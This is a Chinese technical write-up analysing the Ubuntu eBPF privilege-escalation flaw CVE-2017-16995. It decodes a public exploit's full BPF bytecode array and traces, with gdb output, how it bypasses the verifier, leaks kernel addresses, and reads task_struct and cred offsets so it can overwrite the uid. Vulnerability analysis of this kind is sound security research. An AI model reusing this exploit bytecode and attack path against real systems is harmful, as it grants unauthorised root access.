【原創】深刻分析Ubuntu本地提權漏洞CVE-2017-16995

 

*本文首發阿里雲先知安全技術社區,原文連接https://xz.aliyun.com/t/2212

前言:

2018年3月中旬,Twitter 用戶 @Vitaly Nikolenko 發佈消息,稱 ubuntu 最新版本(Ubuntu 16.04)存在高危的本地提權漏洞,並且推文中還附上了 EXP 下載地址。linux

 

因爲該漏洞成功在aws Ubuntu鏡像上覆現,被認爲是0DAY,引發了安全圈同窗們的普遍關注。大致瀏覽了 一下exp代碼,發現利用姿式很優雅,沒有ROP,沒有堆,沒有棧,比較感興趣,不過等了幾天也沒發現有詳細的漏洞分析,正好遇上週末,便本身跟了一下:)git

通過一番瞭解發現這個漏洞並非什麼0DAY,最先是去年12月21號Google Project Zero團隊的Jann Horn發現並報告的,編號爲CVE-2017-16995,做者在報告該漏洞的時候附了一個DOS的POC。另外,最先公開發布可成功提權exploit也不是Vitaly Nikolenko,而是Bruce Leidl,其在12月21號就把完整的提權exploit公佈到了github上,地址:https://github.com/brl/grlh/blob/master/get-rekt-linux-hardened.cgithub

 

技術分析

eBPF簡介ubuntu

衆所周知,linux的用戶層和內核層是隔離的,想讓內核執行用戶的代碼,正常是須要編寫內核模塊,固然內核模塊只能root用戶才能加載。而BPF則至關因而內核給用戶開的一個綠色通道:BPF(Berkeley Packet Filter)提供了一個用戶和內核之間代碼和數據傳輸的橋樑。用戶能夠用eBPF指令字節碼的形式向內核輸送代碼,並經過事件(如往socket寫數據)來觸發內核執行用戶提供的代碼;同時以map(key,value)的形式來和內核共享數據,用戶層向map中寫數據,內核層從map中取數據,反之亦然。BPF設計初衷是用來在底層對網絡進行過濾,後續因爲他能夠方便的向內核注入代碼,而且還提供了一套完整的安全措施來對內核進行保護,被普遍用於抓包、內核probe、性能監控等領域。BPF發展經歷了2個階段,cBPF(classic BPF)和eBPF(extend BPF),cBPF已退出歷史舞臺,後文提到的BPF默認爲eBPF。數組

eBPF虛擬指令系統安全

eBPF虛擬指令系統屬於RISC,擁有10個虛擬寄存器,r0-r10,在實際運行時,虛擬機會把這10個寄存器一一對應於硬件CPU的10個物理寄存器,以x64爲例,對應關係以下:bash

    R0 – rax
    R1 - rdi
    R2 - rsi
    R3 - rdx
    R4 - rcx
    R5 - r8
    R6 - rbx
    R7 - r13
    R8 - r14
    R9 - r15
    R10 – rbp(幀指針,frame pointer)
每一條指令的格式以下:
struct bpf_insn {
    __u8    code;        /* opcode */
    __u8    dst_reg:4;    /* dest register */
    __u8    src_reg:4;    /* source register */
    __s16    off;        /* signed offset */
    __s32    imm;        /* signed immediate constant */
};

 

如一條簡單的x86賦值指令:mov eax,0xffffffff,對應的BPF指令爲:BPF_MOV32_IMM(BPF_REG_2, 0xFFFFFFFF),其對應的數據結構爲:
#define BPF_MOV32_IMM(DST, IMM)                    \
    ((struct bpf_insn) {                    \
        .code  = BPF_ALU | BPF_MOV | BPF_K,        \
        .dst_reg = DST,                    \
        .src_reg = 0,                    \
        .off   = 0,                    \
        .imm   = IMM })
其在內存中的值爲:\xb4\x09\x00\x00\xff\xff\xff\xff
關於BPF指令系統此處就再也不贅述,只要明確如下兩點便可:1.其爲RISC指令系統,也就是說每條指令大小都是同樣的;2.其虛擬的10個寄存器一一對應於物理cpu的寄存器,且功能相似,好比BPF的r10寄存器和rbp同樣指向棧,r0用於返回值。

BPF的加載過程網絡

一個典型的BPF程序流程爲:
1.   用戶程序調用syscall(__NR_bpf, BPF_MAP_CREATE, &attr, sizeof(attr))申請建立一個map,在attr結構體中指定map的類型、大小、最大容量等屬性。
2.   用戶程序調用syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr))來將咱們寫的BPF代碼加載進內核,attr結構體中包含了指令數量、指令首地址指針、日誌級別等屬性。在加載以前會利用虛擬執行的方式來作安全性校驗,這個校驗包括對指定語法的檢查、指令數量的檢查、指令中的指針和當即數的範圍及讀寫權限檢查,禁止將內核中的地址暴露給用戶空間,禁止對BPF程序stack以外的內核地址讀寫。安全校驗經過後,程序被成功加載至內核,後續真正執行時,再也不重複作檢查。
3.   用戶程序經過調用setsockopt(sockets[1], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(progfd)將咱們寫的BPF程序綁定到指定的socket上。Progfd爲上一步驟的返回值。
4.   用戶程序經過操做上一步驟中的socket來觸發BPF真正執行。

BPF的安全校驗數據結構

Bpf指令的校驗是在函數do_check中,代碼路徑爲kernel/bpf/verifier.c。do_check經過一個無限循環來遍歷咱們提供的bpf指令,
 
理論上虛擬執行和真實執行的執行路徑應該是徹底一致的。若是步驟2安全校驗過程當中的虛擬執行路徑和步驟4 bpf的真實執行路徑不徹底一致的話,會怎麼樣呢?看下面的例子:
1.BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),             /* r9 = (u32)0xFFFFFFFF   */
2.BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2),   /* if (r9 == -1) {        */
3.BPF_MOV64_IMM(BPF_REG_0, 0),                      /*   exit(0);             */
4.BPF_EXIT_INSN()
5.……
第一條指令是個簡單的賦值語句,把0xFFFFFFFF這個值賦值給r9.
第二條指令是個條件跳轉指令,若是r9等於0xFFFFFFFF,則退出程序,終止執行;若是r9不等於0xFFFFFFFF,則跳事後面2條執行繼續執行第5條指令。
虛擬執行的時候,do_check檢測到第2條指令等式恆成立,因此認爲BPF_JNE的跳轉永遠不會發生,第4條指令以後的指令永遠不會執行,因此檢測結束,do_check返回成功。
真實執行的時候,因爲一個符號擴展的bug,致使第2條指令中的等式不成立,因而cpu就跳轉到第5條指令繼續執行,這裏是漏洞產生的根因,這4條指令,能夠繞過BPF的代碼安全檢查。既然安全檢查被繞過了,用戶就能夠隨意往內核中注入代碼了,提權就水到渠成了:先獲取到task_struct的地址,而後定位到cred的地址,而後定位到uid的地址,而後直接將uid的值改成0,而後啓動/bin/bash。

漏洞分析

下面結合真實的exp來動態分析一下漏洞的執行過程。
Vitaly Nikolenko公佈的這個exp,關鍵代碼就是以下這個prog數組:

 

這個數組就是BPF的指令數據,想要搞清楚exp的機理,首先要把這堆16進制數據翻譯成BPF指令,翻譯結果以下:
bytes="\xb4\x09\x00\x00\xff\xff\xff\xff"\  #BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),             /* r9 = (u32)0xFFFFFFFF   */
"\x55\x09\x02\x00\xff\xff\xff\xff"\  #BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2),   /* if (r9 == -1) {        */
"\xb7\x00\x00\x00\x00\x00\x00\x00"\  #BPF_MOV64_IMM(BPF_REG_0, 0),                      /*   exit(0);             */
"\x95\x00\x00\x00\x00\x00\x00\x00"\  #BPF_EXIT_INSN()
 
"\x18\x19\x00\x00\x03\x00\x00\x00"\  # BPF_LD_MAP_FD(BPF_REG_9, mapfd),                 /* r9=mapfd               */
"\x00\x00\x00\x00\x00\x00\x00\x00"\
 
#BPF_MAP_GET(0, BPF_REG_6)  r6=op,取map的第1個元素放到r6
"\xbf\x91\x00\x00\x00\x00\x00\x00"\  #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),              /* r1 = r9                */
"\xbf\xa2\x00\x00\x00\x00\x00\x00"\  #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),             /* r2 = fp                */
"\x07\x02\x00\x00\xfc\xff\xff\xff"\  #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),            /* r2 = fp - 4            */
"\x62\x0a\xfc\xff\x00\x00\x00\x00"\  #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=0),           /* *(u32 *)(fp - 4) = idx */
"\x85\x00\x00\x00\x01\x00\x00\x00"\  #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
"\x55\x00\x01\x00\x00\x00\x00\x00"\  #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),            /* if (r0 == 0)           */
"\x95\x00\x00\x00\x00\x00\x00\x00"\  #BPF_EXIT_INSN(),                                  /*   exit(0);             */
"\x79\x06\x00\x00\x00\x00\x00\x00"\  #BPF_LDX_MEM(BPF_DW, (r6), BPF_REG_0, 0)          /* r_dst = *(u64 *)(r0)   */
 
#BPF_MAP_GET(1, BPF_REG_7)  r7=address,取map的第2個元素放到r7
"\xbf\x91\x00\x00\x00\x00\x00\x00"\  #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),              /* r1 = r9                */
"\xbf\xa2\x00\x00\x00\x00\x00\x00"\  #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),             /* r2 = fp                */
"\x07\x02\x00\x00\xfc\xff\xff\xff"\  #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),            /* r2 = fp - 4            */
"\x62\x0a\xfc\xff\x01\x00\x00\x00"\  #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=1),           /* *(u32 *)(fp - 4) = idx */
"\x85\x00\x00\x00\x01\x00\x00\x00"\  #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
"\x55\x00\x01\x00\x00\x00\x00\x00"\  #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),            /* if (r0 == 0)           */
"\x95\x00\x00\x00\x00\x00\x00\x00"\  #BPF_EXIT_INSN(),                                  /*   exit(0);             */
"\x79\x07\x00\x00\x00\x00\x00\x00"\  #BPF_LDX_MEM(BPF_DW, (r7), BPF_REG_0, 0)          /* r_dst = *(u64 *)(r0)   */
 
#BPF_MAP_GET(2, BPF_REG_8)  r8=value,取map的第3個元素放到r8
"\xbf\x91\x00\x00\x00\x00\x00\x00"\  #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),              /* r1 = r9                */
"\xbf\xa2\x00\x00\x00\x00\x00\x00"\  #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),             /* r2 = fp                */
"\x07\x02\x00\x00\xfc\xff\xff\xff"\  #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),            /* r2 = fp - 4            */
"\x62\x0a\xfc\xff\x02\x00\x00\x00"\  #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=1),           /* *(u32 *)(fp - 4) = idx */
"\x85\x00\x00\x00\x01\x00\x00\x00"\  #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
"\x55\x00\x01\x00\x00\x00\x00\x00"\  #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),            /* if (r0 == 0)           */
"\x95\x00\x00\x00\x00\x00\x00\x00"\  #BPF_EXIT_INSN(),                                  /*   exit(0);             */
"\x79\x08\x00\x00\x00\x00\x00\x00"\  #BPF_LDX_MEM(BPF_DW, (r8), BPF_REG_0, 0)          /* r_dst = *(u64 *)(r0)   */
 
"\xbf\x02\x00\x00\x00\x00\x00\x00"\  #BPF_MOV64_REG(BPF_REG_2, BPF_REG_0),               /* r2 = r0               */
"\xb7\x00\x00\x00\x00\x00\x00\x00"\  #BPF_MOV64_IMM(BPF_REG_0, 0),                       /* r0 = 0  for exit(0)   */
"\x55\x06\x03\x00\x00\x00\x00\x00"\  #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 3),             /* if (op == 0)          */
"\x79\x73\x00\x00\x00\x00\x00\x00"\  #BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
"\x7b\x32\x00\x00\x00\x00\x00\x00"\  #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\  #BPF_EXIT_INSN(),
"\x55\x06\x02\x00\x01\x00\x00\x00"\  #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2),
"\x7b\xa2\x00\x00\x00\x00\x00\x00"\  #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\  #BPF_EXIT_INSN(),                                  /*   exit(0);             */
"\x7b\x87\x00\x00\x00\x00\x00\x00"\  #BPF_STX_MEM(BPF_DW, BPF_REG_7, BPF_REG_8, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\  #BPF_EXIT_INSN(),                                  /*   exit(0);             */
do_check上打個斷點,編譯運行,成功斷了下來,先看一下調用棧:
(gdb) bt
#0  do_check (env=0xffff880078190000)
    at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/verifier.c:1724
#1  0xffffffff8117c057 in bpf_check (prog=0xffff880034003e10, 
    attr=<optimized out>)
    at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/verifier.c:2240
#2  0xffffffff81178631 in bpf_prog_load (attr=0xffff880034003ee0)
    at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:679
#3  0xffffffff81178d3a in SYSC_bpf (size=48, uattr=<optimized out>, 
    cmd=<optimized out>)
    at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:783
#4  SyS_bpf (cmd=5, uattr=140722476394128, size=48)
    at /build/linux-fQ94TU/linux-4.4.0/kernel/bpf/syscall.c:725
#5  0xffffffff8184efc8 in entry_SYSCALL_64 ()
    at /build/linux-fQ94TU/linux-4.4.0/arch/x86/entry/entry_64.S:193
#6  0x0000000000000001 in irq_stack_union ()
#7  0x0000000000000000 in ?? ()
(gdb)

 

首先看第一條賦值語句BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF),do_check中最終的賦值語句以下:

 

其中dst_reg爲虛擬執行過程當中的寄存器結構體,結構體定義以下:
能夠看到該結構體有2個字段,第一個爲type,表明寄存器數據的類型,此處爲CONST_IMM,CONST_IMM的值爲8.另一個爲常量當即數的具體數值,能夠看到類型爲int有符號整形。
咱們在此處下斷點,能夠看到具體的賦值過程,以下:
(gdb) x/10 $rip-4
   0xffffffff8117b0ac <do_check+5548>:   mov    DWORD PTR [rsi+rax*1+0x8],edx
=> 0xffffffff8117b0b0 <do_check+5552>:   
    jmp    0xffffffff8117a38c <do_check+2188>
   0xffffffff8117b0b5 <do_check+5557>:   mov    rdi,QWORD PTR [rsp+0x38]
   0xffffffff8117b0ba <do_check+5562>:   mov    rdx,rax
   0xffffffff8117b0bd <do_check+5565>:   movzx  esi,al
   0xffffffff8117b0c0 <do_check+5568>:   and    edx,0x18
   0xffffffff8117b0c3 <do_check+5571>:   mov    rdx,QWORD PTR [rdx-0x7e5db140]
   0xffffffff8117b0ca <do_check+5578>:   movzx  ecx,BYTE PTR [rdi+0x1]
   0xffffffff8117b0ce <do_check+5582>:   movsx  r8d,WORD PTR [rdi+0x2]
   0xffffffff8117b0d3 <do_check+5587>:   mov    r9d,DWORD PTR [rdi+0x4]
(gdb) i r $edx
edx            0xffffffff      -1
(gdb) x/10x $rsi+$rax
0xffff8800781930a8: 0x00000008 0x00000000 0xffffffff 0x00000000
0xffff8800781930b8: 0x00000006 0x00000000 0x00000000 0x00000000
0xffff8800781930c8: 0x00000000 0x00000000
(gdb)
$rsi+$rax處即爲reg_state結構體,能夠看到第一個字段爲8,第二個字段爲0Xffffffff。
而後咱們跟進第二條指令中的比較語句BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2),do_check檢測到跳轉類指令時,根據跳轉類型進入不通的檢測分支,此處是JNE跳轉,進入check_cond_jmp_op分支,以下圖:
Do_check在校驗條件類跳轉指令的時候,會判斷條件是否成立,若是是非肯定性跳轉的話,就說明接下來2個分支都有可能執行(分支A和分支B),這時do_check會把下一步須要跳轉到的指令編號(分支B)放到一個臨時棧中備用,這樣當前指令順序校驗(分支A)過程當中遇到EXIT指令時,會從臨時棧中取出以前保存的下一條指令的序號(分支B)繼續校驗。若是跳轉指令恆成立的話,就不會再往臨時棧中放入分支B,由於分支B永遠不會執行,以下圖:

第一個紅框即爲虛擬寄存器中的imm與指令中提供的imm進行比較,這兩個類型以下:socket

能夠看到等號兩側的數據類型徹底一致,都爲有符號整數,因此此處條件跳轉條件恆成立,不會往臨時棧中push分支B指令編號。
接下來看BPF_EXIT_INSN(),剛纔提到在校驗EXIT指令時,會從臨時棧中嘗試取指令(調用pop_stack函數),若是臨時棧中有指令,那就說明還有其餘可能執行到的分支,須要繼續校驗,若是取不到值,表示當前這條EXIT指令確實是BPF程序最後一條能夠執行到的指令,此時pop_stack會返回-1,而後break跳出do_check校驗循環,do_check執行結束,校驗經過,以下圖:
跟進pop_stack,以下圖:
實際執行過程以下:
(gdb) x/10i $rip
=> 0xffffffff81178f29 <pop_stack+9>:     test   r8,r8  //此處判斷env->head是否爲NULL
   0xffffffff81178f2c <pop_stack+12>:    
    je     0xffffffff81178fb4 <pop_stack+148> //爲NULL時,跳轉到0xffffffff81178fb4
   0xffffffff81178f32 <pop_stack+18>:    push   rbp
   0xffffffff81178f33 <pop_stack+19>:    mov    rax,rsi
   0xffffffff81178f36 <pop_stack+22>:    lea    rcx,[rdi+0x18]
   0xffffffff81178f3a <pop_stack+26>:    mov    rdx,rdi
   0xffffffff81178f3d <pop_stack+29>:    lea    rdi,[rdi+0x20]
   0xffffffff81178f41 <pop_stack+33>:    mov    rbp,rsp
   0xffffffff81178f44 <pop_stack+36>:    push   r13
   0xffffffff81178f46 <pop_stack+38>:    push   r12
(gdb) i r $r8
r8             0x0  0
(gdb) x/10i 0xffffffff81178fb4
   0xffffffff81178fb4 <pop_stack+148>:   mov    eax,0xffffffff  //pop_stack返回-1
   0xffffffff81178fb9 <pop_stack+153>:   ret     //pop_stack返回-1
   0xffffffff81178fba:         nop    WORD PTR [rax+rax*1+0x0]
   0xffffffff81178fc0 <verbose>:         nop    DWORD PTR [rax+rax*1+0x0]
   0xffffffff81178fc5 <verbose+5>:       push   rbp
   0xffffffff81178fc6 <verbose+6>:       mov    rbp,rsp
   0xffffffff81178fc9 <verbose+9>:       sub    rsp,0x50
   0xffffffff81178fcd <verbose+13>:      mov    rax,QWORD PTR gs:0x28
   0xffffffff81178fd6 <verbose+22>:      mov    QWORD PTR [rsp+0x18],rax
   0xffffffff81178fdb <verbose+27>:      xor    eax,eax
(gdb)

 

到此爲止咱們瞭解了BPF的校驗過程,這個exp一共有41條指令,BPF只校驗了4條指令,而後返回校驗成功。
接下來咱們繼續跟進BPF指令的執行過程,對應的代碼以下(路徑爲kernel/bpf/core.c):
其中DST爲目標寄存器,IMM爲當即數,咱們跟進DST的定義:

跟進IMM的定義:

很明顯,等號兩邊的數據類型是不一致的,因此致使這裏的條件跳轉語句的結果徹底相反,如下爲實際執行過程:
(gdb) x/10i $rip
=> 0xffffffff8117731f <__bpf_prog_run+2191>:       
    cmp    QWORD PTR [rbp+rax*8-0x270],rdx
   0xffffffff81177327 <__bpf_prog_run+2199>:       
    je     0xffffffff81177d8a <__bpf_prog_run+4858>
   0xffffffff8117732d <__bpf_prog_run+2205>:       movsx  rax,WORD PTR [rbx+0x2]
   0xffffffff81177332 <__bpf_prog_run+2210>:       lea    rbx,[rbx+rax*8+0x8]
   0xffffffff81177337 <__bpf_prog_run+2215>:       
    jmp    0xffffffff81176ae0 <__bpf_prog_run+80>
   0xffffffff8117733c <__bpf_prog_run+2220>:       movzx  eax,BYTE PTR [rbx+0x1]
   0xffffffff81177340 <__bpf_prog_run+2224>:       mov    edx,eax
   0xffffffff81177342 <__bpf_prog_run+2226>:       shr    dl,0x4
   0xffffffff81177345 <__bpf_prog_run+2229>:       and    edx,0xf
   0xffffffff81177348 <__bpf_prog_run+2232>:       
    cmp    QWORD PTR [rbp+rdx*8-0x270],0x0
(gdb) i r $rdx
rdx            0xffffffffffffffff        -1
(gdb) x/10x (rbp+rax*8-0x270)
No symbol "rbp" in current context.
(gdb) x/10x ($rbp+$rax*8-0x270)
0xffff880076143a78: 0xffffffff 0x00000000 0x76143c88 0xffff8800
0xffff880076143a88: 0x00000001 0x00000000 0x00000001 0x01000000
0xffff880076143a98: 0x746ee000 0xffff8800
(gdb) 
等號兩邊的值徹底不同,這裏的跳轉條件成立,會日後跳2條指令繼續執行,和虛擬執行的過程相反。
接下來就是分析exp裏面的BPF指令了,經過自定義BPF指令,咱們能夠繞過安全校驗實現任意內核指針泄露,任意內核地址讀寫。
構造一下攻擊路徑:
1.申請一個MAP,長度爲3;
2.這個MAP的第一個元素爲操做指令,第2個元素爲須要讀寫的內存地址,第3個元素用來存放讀取到的內容。此時這個MAP至關於一個CC,3個元素組成一個控制指令。
3.組裝一個指令,讀取內核的棧地址。根據內核棧地址獲取到current的地址。
4.讀current結構體的第一個成員,或得task_struct的地址,繼而加上cred的偏移獲得cred地址,最終獲取到uid的地址。
5.組裝一個寫指令,向上一步獲取到的uid地址寫入0.
6.啓動新的bash進程,該進程的uid爲0,提權成功。
Exp中就是按照如上的攻擊路徑來提權的,申請完map以後,首先發送獲取內核棧地址的指令,以下:
bpf_update_elem(0, 0); 
bpf_update_elem(1, 0); 
bpf_update_elem(2, 0); 
而後經過調用writemsg觸發BPF程序運行,BPF會進入以下分支:
"\x18\x19\x00\x00\x03\x00\x00\x00"\  # BPF_LD_MAP_FD(BPF_REG_9, mapfd),                 /* r9=mapfd               */
#BPF_MAP_GET(0, BPF_REG_6)  r6=op
"\xbf\x91\x00\x00\x00\x00\x00\x00"\  #BPF_MOV64_REG(BPF_REG_1, BPF_REG_9),              /* r1 = r9                */
"\xbf\xa2\x00\x00\x00\x00\x00\x00"\  #BPF_MOV64_REG(BPF_REG_2, BPF_REG_10),             /* r2 = fp                */
"\x07\x02\x00\x00\xfc\xff\xff\xff"\  #BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, -4),            /* r2 = fp - 4            */
"\x62\x0a\xfc\xff\x00\x00\x00\x00"\  #BPF_ST_MEM(BPF_W, BPF_REG_10, -4, idx=0),           /* *(u32 *)(fp - 4) = idx */
"\x85\x00\x00\x00\x01\x00\x00\x00"\  #BPF_RAW_INSN(BPF_JMP | BPF_CALL, 0, 0, 0, BPF_FUNC_map_lookup_elem),
"\x55\x00\x01\x00\x00\x00\x00\x00"\  #BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),            /* if (r0 == 0)           */
"\x95\x00\x00\x00\x00\x00\x00\x00"\  #BPF_EXIT_INSN(),                                  /*   exit(0);             */
"\x79\x06\x00\x00\x00\x00\x00\x00"\  #BPF_LDX_MEM(BPF_DW, (r6), BPF_REG_0, 0)          /* r_dst = *(u64 *)(r0)   */

 

以前提到過,BPF的r10寄存器至關於x86_64的rbp,是指向內核棧的,因此這裏第一行指令將map的標識放到r9,第二條指令將r9放到r1,做爲後續調用BPF_FUNC_map_lookup_elem函數的第一個參數,第三條指令將內核棧指針賦值給r2,第四條指令在棧上開闢4個字節的空間,第五條指令將map元素的序號放到r2,第六條指令取map中第r2個元素的值並把返回值存入r0,第七條指令判斷BPF_FUNC_map_lookup_elem有沒有執行成功,r0=0則未成功。成功後執行第9條指令,將取到的值放到r6中。繼續依次往下執行,直到執行到下面的路徑:
"\x55\x06\x03\x00\x00\x00\x00\x00"\  #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 3),             /* if (op == 0)          */
"\x79\x73\x00\x00\x00\x00\x00\x00"\  #BPF_LDX_MEM(BPF_DW, BPF_REG_3, BPF_REG_7, 0),
"\x7b\x32\x00\x00\x00\x00\x00\x00"\  #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\  #BPF_EXIT_INSN(),
"\x55\x06\x02\x00\x01\x00\x00\x00"\  #BPF_JMP_IMM(BPF_JNE, BPF_REG_6, 0, 2),
"\x7b\xa2\x00\x00\x00\x00\x00\x00"\  #BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0),
"\x95\x00\x00\x00\x00\x00\x00\x00"\  #BPF_EXIT_INSN(),                                  /*   exit(0);             */

 

判斷r6是否爲0,爲0說明是取棧地址的指令,這時會往下跳3條指令,繼續執行第7條指令,將r10的內容寫入r2,因爲在執行第30條指令時r0指向map中的第二個元素,因此這時r2也指向這個元素,而後用戶層經過get_value(2)取到了內核棧的地址,咱們經過給BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0)下斷點,能夠看到過程以下:
(gdb) x/20i 0xffffffff8117788b
   0xffffffff8117788b <__bpf_prog_run+3579>:       movzx  eax,BYTE PTR [rbx+0x1]
   0xffffffff8117788f <__bpf_prog_run+3583>:       movsx  rdx,WORD PTR [rbx+0x2]
   0xffffffff81177894 <__bpf_prog_run+3588>:       add    rbx,0x8
   0xffffffff81177898 <__bpf_prog_run+3592>:       mov    rcx,rax
   0xffffffff8117789b <__bpf_prog_run+3595>:       shr    al,0x4
   0xffffffff8117789e <__bpf_prog_run+3598>:       and    ecx,0xf
   0xffffffff811778a1 <__bpf_prog_run+3601>:       and    eax,0xf
   0xffffffff811778a4 <__bpf_prog_run+3604>:       mov    rcx,QWORD PTR [rbp+rcx*8-0x270]
   0xffffffff811778ac <__bpf_prog_run+3612>:       mov    rax,QWORD PTR [rbp+rax*8-0x270]
   0xffffffff811778b4 <__bpf_prog_run+3620>:       mov    QWORD PTR [rcx+rdx*1],rax
=> 0xffffffff811778b8 <__bpf_prog_run+3624>:       jmp    0xffffffff81176ae0 <__bpf_prog_run+80>
   0xffffffff811778bd <__bpf_prog_run+3629>:       movzx  eax,BYTE PTR [rbx+0x1]
   0xffffffff811778c1 <__bpf_prog_run+3633>:       movsx  rdx,WORD PTR [rbx+0x2]
   0xffffffff811778c6 <__bpf_prog_run+3638>:       add    rbx,0x8
   0xffffffff811778ca <__bpf_prog_run+3642>:       movsxd rcx,DWORD PTR [rbx-0x4]
   0xffffffff811778ce <__bpf_prog_run+3646>:       and    eax,0xf
   0xffffffff811778d1 <__bpf_prog_run+3649>:       mov    rax,QWORD PTR [rbp+rax*8-0x270]
   0xffffffff811778d9 <__bpf_prog_run+3657>:       mov    QWORD PTR [rax+rdx*1],rcx
   0xffffffff811778dd <__bpf_prog_run+3661>:       jmp    0xffffffff81176ae0 <__bpf_prog_run+80>
   0xffffffff811778e2 <__bpf_prog_run+3666>:       lfence 
 (gdb) i r $rax
rax            0xffff8800758c3c88        -131939423208312
(gdb)

其中rax的值0xffff8800758c3c88即爲泄露的內核棧地址(其實應該稱爲幀指針更準確)。
而後經過經典的addr & ~(0x4000 - 1)獲取到current結構體的起始地址0xffff8800758c0000,而後構造讀數據的map指令去讀current中偏移爲0的指針值(即爲指向task_struct的指針):
bpf_update_elem(0, 0); 
bpf_update_elem(1, 0xffff8800758c0000); 
bpf_update_elem(2, 0); 
其中addr爲當前線程current的值0xffff8800758c0000,這樣能夠獲得task_struct的地址,
過程以下:
(gdb) x/10i $rip-20
   0xffffffff811778a4 <__bpf_prog_run+3604>:       mov    rcx,QWORD PTR [rbp+rcx*8-0x270]
   0xffffffff811778ac <__bpf_prog_run+3612>:       mov    rax,QWORD PTR [rbp+rax*8-0x270]
   0xffffffff811778b4 <__bpf_prog_run+3620>:       mov    QWORD PTR [rcx+rdx*1],rax
=> 0xffffffff811778b8 <__bpf_prog_run+3624>:       jmp    0xffffffff81176ae0 <__bpf_prog_run+80>
   0xffffffff811778bd <__bpf_prog_run+3629>:       movzx  eax,BYTE PTR [rbx+0x1]
   0xffffffff811778c1 <__bpf_prog_run+3633>:       movsx  rdx,WORD PTR [rbx+0x2]
   0xffffffff811778c6 <__bpf_prog_run+3638>:       add    rbx,0x8
   0xffffffff811778ca <__bpf_prog_run+3642>:       movsxd rcx,DWORD PTR [rbx-0x4]
   0xffffffff811778ce <__bpf_prog_run+3646>:       and    eax,0xf
   0xffffffff811778d1 <__bpf_prog_run+3649>:       mov    rax,QWORD PTR [rbp+rax*8-0x270]
(gdb) i r $rax
rax            0xffff880074343c00        -131939445752832
(gdb) x/10x 0xffff8800758c0000
0xffff8800758c0000: 0x74343c00 0xffff8800 0x00000008 0x00000000
0xffff8800758c0010: 0x00000001 0x00000000 0xfffff000 0x00007fff
0xffff8800758c0020: 0x00000000 0x00000000
(gdb)

 

其中rax的值即爲指向task_struct的指針,能夠看到和current結構體的第一個成員的值是一致的,都是0xffff880074343c00
獲得task_struct地址以後,加上cred的偏移CRED_OFFSET=0x5f8(因爲內核版本不通或者內核的編譯選項不一樣,均可能致使cred在task_struct中的偏移不一樣),組裝讀取指令取讀取指向cred結構體的指針地址:
bpf_update_elem(0, 2); 
bpf_update_elem(1, 0xffff880074343c00+0x5f8); 
bpf_update_elem(2, 0); 
過程以下:
(gdb) x/10i $rip
=> 0xffffffff811778b8 <__bpf_prog_run+3624>:       jmp    0xffffffff81176ae0 <__bpf_prog_run+80>
   0xffffffff811778bd <__bpf_prog_run+3629>:       movzx  eax,BYTE PTR [rbx+0x1]
   0xffffffff811778c1 <__bpf_prog_run+3633>:       movsx  rdx,WORD PTR [rbx+0x2]
   0xffffffff811778c6 <__bpf_prog_run+3638>:       add    rbx,0x8
   0xffffffff811778ca <__bpf_prog_run+3642>:       movsxd rcx,DWORD PTR [rbx-0x4]
   0xffffffff811778ce <__bpf_prog_run+3646>:       and    eax,0xf
   0xffffffff811778d1 <__bpf_prog_run+3649>:       mov    rax,QWORD PTR [rbp+rax*8-0x270]
   0xffffffff811778d9 <__bpf_prog_run+3657>:       mov    QWORD PTR [rax+rdx*1],rcx
   0xffffffff811778dd <__bpf_prog_run+3661>:       jmp    0xffffffff81176ae0 <__bpf_prog_run+80>
   0xffffffff811778e2 <__bpf_prog_run+3666>:       lfence 
(gdb) i r $rax
rax            0xffff880074cb5e00        -131939435848192
(gdb) p (struct task_struct *)0xffff880074343c00
$15 = (struct task_struct *) 0xffff880074343c00
